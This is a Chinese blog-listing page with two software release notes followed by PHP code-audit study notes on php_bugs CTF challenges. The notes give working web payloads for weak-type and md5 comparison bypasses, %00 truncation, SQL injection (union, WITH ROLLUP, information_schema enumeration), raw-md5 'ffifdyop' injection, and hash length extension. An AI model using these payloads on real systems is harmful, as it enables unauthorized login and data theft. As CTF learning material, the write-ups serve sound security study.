首页 文章 精选 留言 我的

精选列表

搜索[安全审计],共10009篇文章
优秀的个人博客,低调大师

👏 WGLOG 日志审计系统 v1.1 正式发布

WGLOG是一款轻量级的日志收集管理系统,主要用于实时采集服务器和主机的各种日志文件,统一进行日志的管理存贮,综合分析和进行展现,并具备告警能力 它完美继承了WGCLOUD中的日志监控功能,并在其基础上增加了收集日志等更多功能,它是一个独立的专门为收集日志服务的轻量级日志平台 码云仓库:https://gitee.com/wanghouhou/wgcloud GITHUB 仓库:https://github.com/tianshiyeben/wgcloud WGCLOUD 唯一官网:http://www.wgstart.com WGLOG-v1.1 更新说明 1. 新增,主机下线机制检查 2. 新增,日志导出文件功能 3. 新增,今天采集日志累计大小数据,昨天采集日志累计数据 4. 改造,日志概要页面的样式 5. 一些已知的bug修复,优化UI,性能提升,代码结构优化

优秀的个人博客,低调大师

在线答题系统 WTS 1.0.0 发布,增加操作审计日志

当前版本v1.0.0,更新内容: 优化:优化用户答题性能(通过增加数据库表索引) 优化:取消答卷检查功能 功能:历史日志刪除功能 功能:增加下载操作日志功能 功能:增加后台操作日志记录功能:创建题目、修改题目、答卷管理、创建答卷、修改答卷、答卷状态变更、刪除答卷、创建答题室、修改答题室、答题室状态变更、用户登陆

优秀的个人博客,低调大师

php代码审计分段学习(php_bug)[3]

参考:https://github.com/bowu678/php_bugs 21.数字验证正则绕过 0 >= preg_match('/^[[:graph:]]{12,}$/', $password)//输入的内容必须为12个以上,不包括空格和tab键 $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; //[[:punct:]] 任何标点符号, [[:digit:]] 任何数字, [[:upper:]] 任何大写字母 , [[:lower:]] 任何小写字母 if (6 > preg_match_all($reg, $password, $arr)) //匹配到的次数要大于6次才能绕过。连续的大写或小写字母都只能算是一次。 $ps = array('punct', 'digit', 'upper', 'lower'); foreach ($ps as $pt) { if (preg_match("/[[:$pt:]]+/", $password)) $c += 1; } if ($c < 3) break;//必须要有大小写字母,数字,字符内容三种与三种以上 "42" == $password//最后输入的内容还得和42相等。 可以构造420.000000e-1//0可以随意添加不影响数值,但是要超过12个字符 22.弱类型整数大小比较绕过 is_numeric($temp)?die("no numeric"):NULL; //若是纯数字则会返回为no numeric $temp>1336//但是要是想得到flag还得比1336大,尝试构建13e4,但是整数、小数、指数表示以及16进制数值都会通过判断。 当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。若输入13e4a,在is_numeric中返回true,然后在比较时被转换成数字130000,成功实现 23.md5函数验证绕过 md5($temp)==0//这个很好绕过,md5后的值和0相等就行了 ①.输入的值为空 ②.有这种md5('240610708')后的值为0e开头的就行 ③.类似md5('1')值开头为字母的也能通过 24 md5函数true绕过注入 $sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'"; 存在这个条件md5($password,true) 当md5后的hex转换成字符串后,如果包含 'or'<trash> 这样的字符串,那整个sql变成 SELECT * FROM admin WHERE pass = ' ' or '6<trash>' 就绕过了 字符串:ffifdyop,md5后,276f722736c95d99e921722cf9ed621c hex转换成字符串:'or'6<trash> 25.switch没有break 字符与0比较绕过 case 0: case 1: case 2: require_once $which.'.php'; echo $flag;break; default: echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);break; 学c语言的时候,对于switch的理解就是若是前几个case语句只有一个输出条件,并且只有一个break的话,就是前几个case语句共用这一个输出条件,只要满足其中一个case语句就会输出,看了大佬的wp,嗯好像理解差不多,就是若是第一个case若是判断成功,就算没有break,后面的也不会再判断了,直接到2的时候,输出require_once这个包含文件,若是$flag在那个文件中就输出了。http://localhost/php_bug/25.php?which=flag,嗯输出了我flag.php中的东西。 26.unserialize()反序列化 1.png 2.png 3.png flag在pctf.php,但showimg.php中不允许直接读取pctf.php,只有在index.php中可以传入变量class ,index.php中Shield类的实例$X = unserialize($g),$g = $_GET['class'];,$X中不知$filename变量,但需要找的是:$filename = "pctf.php",现$X已知,求传入的class变量值。 可以进行序列化操作: 运行index.php得到O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";},提交就行了 2.png 这段代码的要求是提交a,b,c满足要求才能得到flag。首先id不能为0,但是下面的语句$id==0,可以利用弱类型让id=0a就可以了;a的话是打开名为a的文件内容为1112 is a nice lab!,但是stripos($a,'.')这个又把文件包含给过滤了,看大佬们用到了php://input,在post里面提交1112 is a nice lab!就行了;b的话是长度大于5且b[0]!=4,且’1114’中存在’111’+b[0]。Strlen检测长度时遇到%00不会被截断,而eregi会被截断,故构造b为字串,首位为%00,长度大于5,则检测时长度满足,eregi(‘111’,’1114’)也满足,b首位整形也不等于4也满足,即可得到flaghttp://localhost/php_bug/27.php?id=0a&a=php://input&b=%0011111在火狐的post框框里面加上1112 is a nice lab!就i可以了。 1.png 题目链接:web.jarvisoj.com:32778/ 这个题目是源码泄露,在网址后面加上index.php~,下载下来然后改名字index.php.swp,在虚拟机里面打开,vim -r index.php.swp 但是在保存的时候出现了E212问题,嗯直接看大佬博客就行了,https://www.jianshu.com/p/3e5a9be54d8f,嗯源码贴下。 1.png 要想成功拿到flag,需要满足$role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"])) 这个地方用到了哈希长度扩展攻击,它的原理是 https://github.com/iagox86/hash_extender,这个解释的很详细,直接看这个就行了 我们可以在不知道salt是什么的情况下生成签名!我们将字符串与我们的新签名一起发送到服务器。服务器将预先签名,散列它,并提出与我们完全相同的散列 可以直接用hashpump这个工具,安装方式如下 git clone https://github.com/bwall/HashPump apt-get install g++ libssl-dev cd HashPump make make install salt的长度不知道,但是我们可以尝试啊, 1.png 最后将role这个数据反一下提交,就出来flag了。 1.png 2.png 这个是题目的链接:http://web.jarvisoj.com:32794 闭合,查用户名:?table=flag union select user() limit 1,1 查表:?table=flag``union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1 查列:?table=flag union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1 查flag:?table=flag `union select flagUwillNeverKnow from secret_flag limit 1,1 30.利用提交数组绕过逻辑 2.png 总觉得这段代码在哪里见过,但是就是找不到原题目了。先看代码, $role = unserialize(base64_decode($_COOKIE["role"]));嗯把cookie解码并反序列化后是admin才能继续往下做,但是role本身给的值是guest,将生成的cookie拿去base64解码,然后将里面的guest改为admin再提交,就成功绕过了第一步;,然后就是post提交filename数据和data数据,前者没什么可以利用的,但是后者就比较难受了首先(preg_match('[<>?]', $data),提交的数据中不能出现<>,但是在 $s = implode($data);if(!preg_match('[<>?]', $s)){$flag='None.';},这时候又需要有<>,想要通过Post请求的形式传入数组可以使用 data[0]=123&data[1]=<> 的形式传入数组,这样的话在执行 implode() 函数的时候就不会使 &s 为空,成功绕过这段逻辑拿到flag。

优秀的个人博客,低调大师

php代码审计分段学习(php_bug)[2]

参考:https://github.com/bowu678/php_bugs 11.sql闭合绕过 $sql = "select user from php where (user='$user') and (pw='$pass')";嗯好吧这个不就是sqli-labs的Less-3么,放下writeup好了http://localhost/php_bug/11.php/?user=admin')# 12.X-Forwarded-For绕过指定IP地址 if ($GetIPs=="1.1.1.1"){ echo "Great! Key is *********";},直接bp抓包,在http头里面加上X-Forwarded-For:1.1.1.1就行了,X-Forwarded-For代表客户端,里面存放的是HTTP端请求的真实ip。 13.md5加密相等绕过 $a != 'QNKCDZO' && $md51 == $md52,两个字符串不相等但是md5后的值相等,记下writeup。 var_dump(md5('240610708') == md5('QNKCDZO'));//ture var_dump(md5('aabg7XSs') == md5('aabC9RqS'));//ture var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));//ture var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));//ture var_dump('0010e2' == '1e3');//ture var_dump('0x1234Ab' == '1193131');//ture var_dump('0xABCdef' == ' 0xABCdef');//ture ==对比的时候会进行数据转换,0eXXXXXXXXX就成0了,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行,嗯还是用===好一些,尽量不要用==。 14.intval函数四舍五入 emmmm,这个函数。。。先是查询的时候intval($_GET['id'])为1024,但是$_GET['id']又不能为1024,直接1024.325加个小数点就行了。。intval会自动将小数点后面的数值舍掉 15 strpos数组绕过NULL与ereg正则%00截断 @ereg ("^[1-9]+$", $_GET['nctf'] strpos ($_GET['nctf'], '#biubiubiu') ①.这个是要求输入的内容必须为纯数字,但是还有出现#biubiubiu的内容,eregde%00截断可以实现,但是题目上给的#需要url编码一下,要不实现不了。http://localhost/php_bug/15.php?nctf=12414%00%23biubiubiu ②.strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,符合要求. 所以输入nctf[]= ,ereg()在出错时返回的也是null,null!==falsehttp://localhost/php_bug/15.php?nctf[]= 16.SQL注入or绕过 $query='SELECT * FROM interest WHERE uname=''.$username.'' AND pwd=''.$password.'';'; $query='SELECT * FROM users WHERE name=''admin'' AND pass=''or 1 #'';'; ?username=admin'' AND pass=''or 1 #&password= 有点传说中的花式闭合的感觉。。 17.密码md5比较绕过 总感觉眼熟,emmm和第九个是一样的。。。 ?user=' union select '202cb962ac59075b964b07152d234b70' #&pass=123 18.md5()函数===使用数组绕过 $_GET['username'] == $_GET['password'] md5($_GET['username']) === md5($_GET['password'])http://localhost/php_bug/18.php?username[]=1&password[]=2,前面已经在sha1()函数比较绕过这个里面详细说过了,,基本同样道理,这里就不多做描述了。 19 ereg()函数strpos() 函数用数组返回NULL绕过 ereg ("^[a-zA-Z0-9]+$", $_GET['password']) strpos ($_GET['password'], '--') emm这个和15是一样的只是ereg()的这个函数现在要求的是只能出现字母和数字,依旧是两种方法http://localhost/php_bug/19.php?password[]=http://localhost/php_bug/19.php?password=12a%00-- 十六进制与数字比较 ($digit >= $one) && ($digit <= $nine) $number == $temp 这个题的要求是输入的数字不能是1~9的数字,但是又要与3735929054相等,转化为16进制http://localhost/php_bug/20.php?password=0xdeadc0de 54975581388转换成16进制为ccccccccc

优秀的个人博客,低调大师

php代码审计分段学习(php_bug)[1]

参考:https://github.com/bowu678/php_bugs 1.extract变量覆盖 看extract变量覆盖这个的时候,代码里面出现了trim这个函数,就查了一下用法,说是去掉字符串开头和结尾的换行符或者是空格,还可以去掉不想出现的字符串。要说起来这个函数还是挺好理解的。就比如说最后一个吧,heordw,先从首开始看,到l的时候想去掉的字符串里面没有,所以到l的时候不再去掉任何字符,然后从尾往前看,是和首同样的道理 $str="helloeorldhelloworld"; echo trim($str,"herl");//oeorldhelloworld echo trim($str,"heorld");//w $str="helloeorlwdhelloworod"; echo trim($str,"heordw");//lloeorlwdhell file_get_contents($flag)//若是$flag的内容为字符串直接返回为空,若是txt的话能打开里面的内容。 extract($_GET)这个函数可以判断是get提交还是post提交,当为get提交时可以url中可以这样使用http://localhost/php/extract1.php?flag&shiyan #flag和shiyan是php中的两个变量。在extract()中,若是在url中有给变量赋值,则原本这个变量的值会被替换。可以预防被覆盖的方法是在php.ini这个文件中有register_globals这个变量的话将它改为off就行了,可能php版本问题,我的文件中没有这个变量。。。可能这个bug还是挺有用的。。 2.绕过过滤的空白字符 首先is_numeric这个函数要求的是为数字字符串,所以要想跳过这个函数可以加字母或者加一些编码后的符号。 然后$req['number']==strval(intval($req['number']))这个是要求输入的字符串取整和原本字符串相等,但是取整的时候若是有字母或是特殊字符直接截断了,若是构造这个数字100.000000000000010可以跳过这个函数,但是最开始的条件就跳不过了,若是在后面加上字母什么的可以跳过第一个,但是传入的字符串是存到数组中的,所以自己不会发生溢出情况。 $number[$i] !== $number[$j],后面的这个函数就容易实现了%00%0c191,%0c是\f的转义字符,%00的ascii值是0,后面的数字可以任意写,%00为截断,不能省略。 3.多重加密 这是题目给的加密方式 这是根据题目写出的解密方式 4.SQL注入_WITH ROLLUP绕过(实验吧 因缺思汀的绕过) $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";这个是不能使用的单词。 mysql_num_rows($query) == 1//这个是要求函数返回结果集中行的数目必须为1 $key['pwd'] == $_POST['pwd']这个则是要求了提交的密码与数据库中的密码相等才能输出flag 当用rollup这个语句的时候,会在数据库的最后一行生成一个密码为NULL的字段 用下面这个payload ' or 1=1 group by pwd with rollup limit 1 offset 2 # 这样查询语句就会变成 SELECT * FROM interest WHERE uname = ' ' or 1=1 group by pwd with rollup limit 1 offset 2 # group by pwd with rollup 这个可以在数据库中添加一行pwd为NULL的数据,limit 1是之查询一行,offset 2这个数字可以换,不同的数字出现的是不同行的内容。 5.ereg正则%00截断 ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE //这个函数要求输入的密码只能是大小写字母和数字 strlen($_GET['password']) < 8 && $_GET['password'] > 9999999这个要求了输入的密码长度小于8但是还得大于9999999,可以使用科学计数法表示,计算器或电脑表达10的的幂是一般是e strpos ($_GET['password'], '*-*') !== FALSE,strpos函数是查找后面的字符串在前面的字符串出现的位置,所以输入的密码中还得有*-*,但是前面的ereg函数过滤了特殊字符,这时候可以用ereg%00截断这个bug,ereg读到%00的时候,就截止了,所以1e9%00*-*就可以。 6.strcmp比较字符串 strcmp($_GET['a'], $flag) == 0// 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;只有两者相等,才返回 0。 strcmp只会处理字符串参数,如果给个数组的话,就会返回NULL,而判断使用是==,NULL==0是bool(true),所以构造这个函数a[]=1就行了。 7.sha1()函数比较绕过 $_GET['name'] == $_GET['password'])//若是传入的两个参数不同才能绕过这个函数 sha1($_GET['name']) === sha1($_GET['password']) sha1()函数默认的传入参数类型是字符串型,要是给它传入数组会出现错误,使sha1()函数返回错误,也就是返回false,这样一来===运算符就可以发挥作用了,需要构造username和password既不相等,又同样是数组类型 构造?name[]=1&password[]=12这样可以绕过 8.SESSION验证绕过 $_GET['password'] == $_SESSION['password']//在这个函数中,需要让提交的密码和session这个相等 ?password=这样构建并把cookie清空,刚开始我以为isset会把这个空的过滤掉,但虽然是空也没过滤。 9.密码md5比较绕过$pass = md5($_POST[pass]); $row = mysql_fetch_array($query, MYSQL_ASSOC); ($row[pw]) && (!strcasecmp($pass, $row[pw]))//这个就是构建一个数值和它的md5密码值 ?user=' union select '202cb962ac59075b964b07152d234b70' #&pass=123 10.urldecode二次编码绕过 eregi("hackerDJ",$_GET['id'] $_GET[id] = urldecode($_GET['id']); $_GET[id] == "hackerDJ" 这段代码是首先先匹配输入的值是否和hackerDJ相等,若是不等才可以继续下面的解码再让相等才可以,所以直接其中的一个字母编码两次就可以了。不知道为什么在php代码或者找的网站中都不能编码只能解码,所以看了原题目的wp。。不知道什么原因就是不能编码有点难受。。 http://localhost/php_bug/10.php/?id=%2568ackerDJ

资源下载

更多资源
腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册